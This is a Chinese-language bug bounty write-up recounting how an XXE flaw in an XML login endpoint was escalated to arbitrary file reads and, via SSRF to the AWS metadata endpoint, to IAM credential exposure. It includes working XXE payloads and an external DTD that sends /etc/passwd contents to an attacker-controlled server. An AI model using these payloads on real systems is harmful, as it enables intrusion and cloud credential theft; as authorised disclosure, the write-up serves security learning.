最近，我在HackerOne上的一个私人漏洞计划上发现了一个关键漏洞，让我可以获得他们的亚马逊网络服务根密钥。正因为如此，该漏洞被评为10.0级危急，是最高级别的。
我用我的自定义词表通过ffuf运行了这几个子域名并查看其结果。其中一个子域名，最初只是呈现一个空白页，当我进入//foo路由时，有一个有趣的页面；注意2个斜杠。在10分钟内，我就发现这里有一个XSS，这个URL被映射在一个啰嗦的错误页面中，我得到了反射型XSS，查询参数中有一个有效载荷。不过后来发现该漏洞是重复的。
几天后，我回来了，想对这个子域进行更深入的研究。在GitHub上，我找到了这个子域的测试凭证和登录有效载荷的仓库，并决定对它进行测试。如果没有GitHub的这个泄漏，我永远不会知道这里有一个登录功能，因为它在任何地方都没有呈现。路径相当晦涩，没有被我的爆破词库收录。
我能够用测试凭证登录，并得到一个允许我上传文件的令牌。由于POST有效载荷是XML，我决定通过测试XXE DTD（XML eXternal Entity Document Type Declaration）来深入测试。
我唯一能调用DTD的地方是在密码字段，用户名是由URL路径定义的。我使用了一个基本的POST有效载荷：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]>
...
<passwd>&xxe;</passwd>
POST数据发送过去后，我的webhook.site接收到服务请求。这样我就知道DTD已经启用了。我还试着在web服务器上查询一个文件，但没有成功。
下一步是尝试检索一个外部DTD。我把http://webhook.site/foo 改成了一个虚拟的自托管 DTD，并观察到 Web 应用程序获取了这个文件。
现在我已经拥有了所有需要的东西，可以尝试读取web应用服务器上的文件，并将其内容发送到我自己的服务器上。我发送了一个这样的有效载荷：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]>
...
<passwd>&send;</passwd>
而下面自带的DTD为pwn.dtd：
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;
然而，它并没有像预期的那样工作。虽然Web应用程序确实获取了我的DTD，但我从来没有得到后续的?data请求，而是在应用程序中得到了一个错误信息。原来是/etc/passwd中的特殊字符破坏了GET请求。
在检查我自己的Linux系统有无特殊字符的单行文件时，我发现了/etc/hostname，我就能读取它的内容了。我仍然不满意这样的影响，但我希望能够读取系统中的任何文件，所以我试着通过FTP在应用程序响应中进行外链。不过这些都没有用，所以我把这个漏洞报告给HackerOne，说是一个影响很大的XXE DTD本地文件包含（LFI）。
第二天，我一直在猜测这个漏洞。我对影响并不满意，想试着找一些方法来排查任意文件。分配给我的报告的HackerOne triager希望我也尝试着去排查另一个文件，不过他们对这是一个单行文件也没有意见。
我和Dee-see（伟大的黑客！）聊了聊，他给我发了一个使用jar:协议提取文件的链接：
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
我翻译过这篇blackhat的议会主题：https://www.anquanke.com/post/id/231472
从上面的链接中改编了DTD文件内容，我又试着将/etc/passwd导出。
<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;
而且它真的成功了! 虽然不是作为一个出站的LFI，我能够在服务器的响应中读取整个/etc/passwd！我向HackerOne报告了这一情况，他们将我的报告归类为高危害等级。关于jar:协议的更多信息，请看这个。它实际上是用来读取.zip或.jar文件中的文件。不过不知怎么的，它破坏了网络应用，让我可以读取任何文件的内容。
不过我对我的报告还是不完全满意，我一直在想我也许能把这个问题提升到一个更严重的问题。我试着扫描服务器的开放端口，想着也许我可以得到SSH密钥并登录，但只有80和443端口是开放的。然后我问HackerOne是否允许我在服务器上尝试更深的测试，他们同意了。
通过只在文件实体中提供file:///，我能够读取一个目录的内容，但我无法读取/proc/self/environ，它可能存储了AWS的元数据；同样一些特殊字符破坏了流程。于是我想到把LFI变成SSRF（Server Side Request Forgery），查询典型的AWS元数据端点http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE。
当然我不知道user_role的值，但通过访问http://169.254.169.254/latest/meta-data/iam/security-credentials/，web应用程序很好心地在错误信息中向我透露了他们的信息!
我在HackerOne上向程序报告了这件事，他们将严重程度改为10.0的评价。后来我获得了2000美元的赏金。
我从这件事中学到了什么？总是尝试深入挖掘，不要满足于报告一些事情，除非你已经尝试了一切来提高严重性。当然，如果有疑问，要征求许可。我不喜欢在没有明确许可的情况下撸穿公司的生产服务器，但他们很理解我，并允许我继续进行，只要我不改变或访问敏感数据。